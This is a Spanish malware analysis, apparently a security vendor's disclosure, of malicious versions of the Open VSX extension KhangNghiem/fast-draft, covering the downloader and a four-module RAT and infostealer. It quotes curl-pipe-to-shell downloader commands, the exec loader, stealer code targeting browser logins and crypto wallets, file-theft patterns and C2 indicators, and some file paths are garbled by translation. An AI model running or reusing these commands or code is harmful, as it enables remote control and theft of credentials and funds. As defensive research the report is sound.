El KhangNghiem/redacción rápida extensión, que figura en open-vsx.org/extension/KhangNghiem/fast-draft y que ahora supera las 26 000 descargas, ha tenido múltiples versiones maliciosas que ejecutan un programa de descarga alojado en GitHub y descargan un RAT de segunda fase y un ladrón de información desde el repositorio BlokTrooper/extension. Las versiones maliciosas confirmadas en la línea de versiones que hemos inspeccionado son 0.10.89, 0.10.105, 0.10.106, y 0.10.112.
Lo que hace que este caso sea inusual es que las publicaciones maliciosas no son continuas. Las versiones hasta 0.10.88 parecen limpios. 0.10.111 también parece estar libre de malware, a pesar de que se encuentra entre versiones maliciosas y la última versión de Open VSX a fecha del 17 de marzo de 2026, 0.10.135, tampoco contiene el mismo cargador. Ese patrón alterno es difícil de conciliar con la idea de que un mantenedor distribuya malware a propósito. Lo más probable es que se trate de un editor comprometido o de un token robado.
A fecha de 17 de marzo de 2026, la entrada de la API Open VSX en open-vsx.org/api/KhangNghiem/fast-draft listas 0.10.135 como la última versión y registra un total de 26 594 descargas de la extensión. Comunicamos el problema al responsable del mantenimiento el 12 de marzo de 2026 a través de una incidencia en GitHub. github.com/khangnghiem/fast-draft/issues/565, que seguía abierta y sin comentarios en el momento de redactar este artículo.
Qué Sucedió
Si se analizan las versiones en orden, se entiende todo:
0.10.88: Parece limpio. No se conoce ninguna ruta de descarga.0.10.89: Malicioso. Introduce un programa de descarga de shells alojado en GitHub durante la inicialización del editor.0.10.105: Malicioso. Configura el cargador para que se active al iniciar el sistema y añade una protección de un solo uso.0.10.106: Malicioso. El mismo cargador de inicio, pero se ha eliminado el mecanismo de protección.0.10.111: Aspecto limpio. Desaparece la ruta de descarga conocida.0.10.112: Malicioso. Vuelve el programa de descarga que se ejecuta al iniciar el sistema.0.10.129-135: Parece limpio. Últimas versiones comprobadas; no se ha detectado ningún programa de descarga.
Ese no es el patrón de lanzamiento que cabría esperar de una única versión comprometida o de un mantenedor que haya adoptado por completo un comportamiento malicioso. Se parece más bien a dos líneas de lanzamiento rivales que comparten la misma identidad de editor.
Cómo se llevó a cabo el ataque
Todas las versiones maliciosas utilizan el mismo truco básico: la extensión se conecta con raw[.]githubusercontent[.]com/BlokTrooper/extension y redirige la respuesta directamente a un shell.
En 0.10.89, la extensión recupera los scripts específicos de cada plataforma del directorio `scripts/` del repositorio:
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmdEn 0.10.105, 0.10.106, y 0.10.112, la misma idea se presenta como un iconos/${plataforma} se recupera y está vinculada a la activación de la extensión, probablemente con el objetivo de eludir algún tipo de detección.
A continuación, esos scripts de la plataforma descargan archivos ZIP, los extraen en un directorio temporal y ejecutan un binario Node incluido en el paquete con una carga útil temporal ofuscada. Ya hemos desmontado esa carga útil en un análisis aparte. No se trata de un simulador de prueba inofensivo. Implementa cuatro módulos en paralelo:
- Un RAT basado en Socket.IO con control del ratón, el teclado, las capturas de pantalla y el portapapeles
- Un programa malicioso que roba datos del navegador y de carteras digitales, y que se centra en las contraseñas guardadas, los datos web y 25 extensiones de carteras de criptomonedas
- Un módulo de exfiltración de archivos que sube de forma recursiva documentos, claves, configuraciones, código fuente y datos confidenciales
- Un monitor del portapapeles que envía el contenido copiado al C2
La infraestructura es la misma cadena de BlokTrooper/extensión que desciframos anteriormente, y los valores de configuración se resuelven en 195.201.104.53, y puertos activos 6931, 6936, y 6939.
La prueba irrefutable
El malicioso 0.10.112 Esta versión restablece la activación al iniciar el sistema y el descargador sin procesar de GitHub:
const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...La última versión limpia y comprobada, 0.10.135, no sigue el mismo procedimiento. Su lógica de activación registra el proveedor del editor y otros componentes de la extensión, pero el descargador de BlokTrooper no aparece.
Esa diferencia es más importante que el ruido heurístico genérico de los escáneres estáticos. Este caso requirió una revisión manual versión por versión, ya que las compilaciones limpias siguen incluyendo la ejecución normal de procesos e integraciones de proveedores de IA que pueden parecer sospechosas para reglas simplistas.
Qué hace realmente la segunda etapa
En la segunda fase es cuando esto pasa de ser un programa de descarga sospechoso a un ataque completo.
La parte exterior temp El envoltorio reconstruye la dirección C2 a partir de los octetos de IP predefinidos y suprime los errores de ejecución con process.on('uncaughtException', ()=>{}), y genera cuatro procesos secundarios Node independientes con node -e. En otras palabras, la extensión no se limita a descargar una carga útil. Descarga un pequeño marco de ataque que se ramifica en tareas simultáneas independientes.
process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);Esto proviene directamente del envoltorio desofuscado y muestra que el operador oculta los fallos al reconstruir cadenas de IP a partir de los campos de configuración, en lugar de almacenarlas como texto sin formato.
ab = ...;
M(..., ['-e', ab], {
windowsHide: true,
detached: true,
stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
windowsHide: true,
detached: true,
stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
windowsHide: true,
detached: true,
stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
windowsHide: true,
detached: true,
stdio: ...
});Este es el punto de control clave de la etapa 2: un script de inicio pone en marcha cuatro módulos independientes en memoria y los separa para que puedan seguir ejecutándose de forma autónoma en segundo plano.
Módulo 1: RAT de escritorio remoto
El primer proceso hijo se vuelve a conectar a http://195[.]201[.]104[.]53:6931 a través de Socket.IO y ofrece un canal completo de control remoto.
Admite comandos para:
- movimientos del ratón, clics y desplazamiento
- pulsaciones de teclas y combinaciones de teclas
- capturas de pantalla con compresión JPEG
- lectura y escritura en el portapapeles
- búsqueda de dimensiones de pantalla
- perfilado del sistema y control de sesiones
El conjunto de dependencias incluido en el archivo ZIP se corresponde exactamente con esas capacidades:
"node_modules/@nut-tree-fork/nut-js": {
"version": "4.2.6"
}, "node_modules/clipboardy": {
"version": "5.3.1"
}, "node_modules/screenshot-desktop": {
"version": "1.15.3"
}, "node_modules/sharp": {
"version": "0.34.5"
}, "node_modules/socket.io-client": {
"version": "4.8.3"
}Por sí solas, las dependencias no bastan para demostrar un comportamiento malicioso. En este caso son relevantes porque coinciden con la estructura del módulo ya desofuscada: tareas remotas a través de Socket.IO, captura de pantalla, procesamiento de imágenes, acceso al portapapeles y automatización completa del teclado y el ratón.
La carga útil también comprueba si se está ejecutando en una máquina virtual buscando cadenas como VMware, VirtualBox, qemu, kvm, y xen en la información del sistema específica de la plataforma. No se detiene cuando encuentra una máquina virtual. Simplemente etiqueta el host y continúa. Además, mantiene un bloqueo de PID único bajo ~/.npm/ por lo que no se ejecutan varias instancias simultáneamente en el mismo equipo.
Módulo 2: Robo de navegadores y monederos
El segundo proceso secundario revisa los perfiles de los navegadores Chrome, Edge, Brave, Opera y LT Browser en macOS, Linux y Windows. De cada perfil, extrae:
- Datos de inicio de sesión
- Datos de inicio de sesión de la cuenta
- Datos web
- Estado de LevelDB desde las extensiones de monedero
La selección de carteras es amplia, no casual. La lista predefinida incluye MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo y CoinStats, entre otras. En macOS también captura ~/Biblioteca/Llaveros/login.keychain.
Los datos se almacenan temporalmente en ~/npm-cache/__tmp__/cldbs/ y subido a http://195[.]201[.]104[.]53:6936/upload. Tras el barrido inicial, el ladrón sigue comprobando si hay nuevos archivos de LevelDB aproximadamente cada 100 segundos, lo que significa que está diseñado para detectar los cambios en el estado del monedero a lo largo del tiempo, en lugar de limitarse a un único golpe rápido.
El nuevo análisis de la fase 2 nos ofrece una visión más clara del módulo de robo del navegador. Este módulo codifica de forma fija los identificadores de las extensiones de monedero y, a continuación, recorre los datos del perfil del navegador, las bases de datos de inicio de sesión y el estado de las extensiones respaldado por LevelDB:
const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
const l = g + '/' + j + z(0x248) + k;En el mismo fragmento descodificado, esas constantes de ruta se resuelven en /Datos de inicio de sesión, /Datos de inicio de sesión de la cuenta, /Datos web, y /Configuración de la extensión local/, mientras que el usuario que sube el archivo utiliza FormData, fs.createReadStream, /cldbs, y /subir.
const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
headers: {
...f[y(0x239)](),
path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
}
});Módulo 3: Robo de documentos y secretos
El tercer proceso secundario busca de forma recursiva archivos confidenciales en el directorio de inicio o en todas las unidades del sistema Windows. Los patrones de búsqueda incluyen:
*.docx,*.xlsx,*.xls,*.csv,*.pdf,*.doc,*.odt,*.rtf*.md,*.txt,*.js,*.ts,*.json,*.ini*.env*,*.pem,*.secreto- formatos de imagen habituales
La lista de exclusiones también es reveladora. Omite rutas ruidosas como node_modules, .git, dist, y construir, pero también omite explícitamente carpetas como .windsurf, .pearai, .claude, .cursor, .brownie, y openzeppelin. Esto sugiere que el operador no se limita a robar archivos al azar. Sabe que los equipos de los desarrolladores, las herramientas de criptografía y los entornos de programación asistidos por IA son objetivos de gran valor.
Las cadenas descodificadas relativas al robo de archivos indican claramente tanto lo que se recopila como lo que se omite:
const u = [".github", "*.env*", ".sqlite", "*.csv", «*.pdf», ".zsh_history", ".ssh", ".pub-cache", ".vscode"];
"node_modules", ".brownie", "AppData", "*.docx", ".cursor", ".claude", "openzeppelin", ".windsurf"Está optimizado para estaciones de trabajo de desarrolladores, árboles de código fuente, material de claves, historial del shell y datos locales de gran valor procedentes de entornos de programación modernos.
Módulo 4: Vigilancia del portapapeles
El cuarto proceso secundario comprueba el portapapeles cada dos segundos y espera a que el contenido se estabilice antes de enviarlo al C2.
- En macOS utiliza
pbpaste - En Windows, se ejecuta en
powershell -NoProfile -NonInteractive Get-Clipboard - En Linux, se recurre a
tipo portapapeles
El contenido modificado del portapapeles se envía a /api/service/makelog, lo que significa que las frases de semilla, las contraseñas, las claves API y los códigos de recuperación copiados pueden ser sustraídos incluso aunque nunca se hayan guardado en el disco.
El fragmento de cadena descodificado del módulo del portapapeles es inusualmente directo:
"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard",«child_process»,«http://»Esas cadenas aparecen juntas en el código del portapapeles de la etapa 2 y coinciden con el comportamiento que observamos anteriormente durante el proceso de desofuscación: la recopilación del portapapeles específica de la plataforma, seguida del envío a la ruta de registro del operador.
La importancia de mantener el espacio limpio
Las versiones limpias son las que hacen que este caso merezca la pena ser analizado como un posible compromiso por parte del editor, en lugar de considerarlo simplemente «una extensión que se ha vuelto rebelde».
Lo hemos comprobado manualmente 0.10.88, 0.10.111, y 0.10.129-135 en cuanto a los indicadores concretos presentes en las versiones maliciosas:
- raw[.]githubusercontent[.].com/BlokTrooper
- el guard «fd.onlyOncePlease» utilizado por el cargador de inicio
- socket.io-client
- /subir
- /cldbs
- pbpaste
- Obtener el portapapeles
Esos indicadores conocidos no aparecían en las versiones de aspecto limpio, y su proceso de activación se asemejaba más al registro habitual de una extensión que al de un programa de descarga. Esto es especialmente importante para 0.10.111, que se sitúa justo entre los programas maliciosos 0.10.106 y 0.10.112, y para 0.10.135, que es actualmente la última versión de Open VSX.
Si el responsable del mantenimiento estuviera distribuyendo el malware a sabiendas, lo más probable es que la versión maliciosa se mantuviera tal cual hasta su detección o eliminación. En cambio, vemos que las versiones maliciosas van y vienen mientras el problema público sigue sin resolverse. Esto concuerda con el robo de los datos de acceso para la publicación o con algún otro tipo de vulneración de la ruta de lanzamiento.
Indicadores de Compromiso
- ID de la extensión: KhangNghiem.fast-draft
- Versiones maliciosas:
0.10.89,0.10.105,0.10.106,0.10.112 - Servidor de la fase 1: raw[.]githubusercontent[.].com/BlokTrooper/extension
- Dirección IP C2: 195[.]201[.]104[.]53
- Puertos: 6931, 6936, 6939
- Rutas de exfiltración: /upload, /cldbs, /api/service/makelog

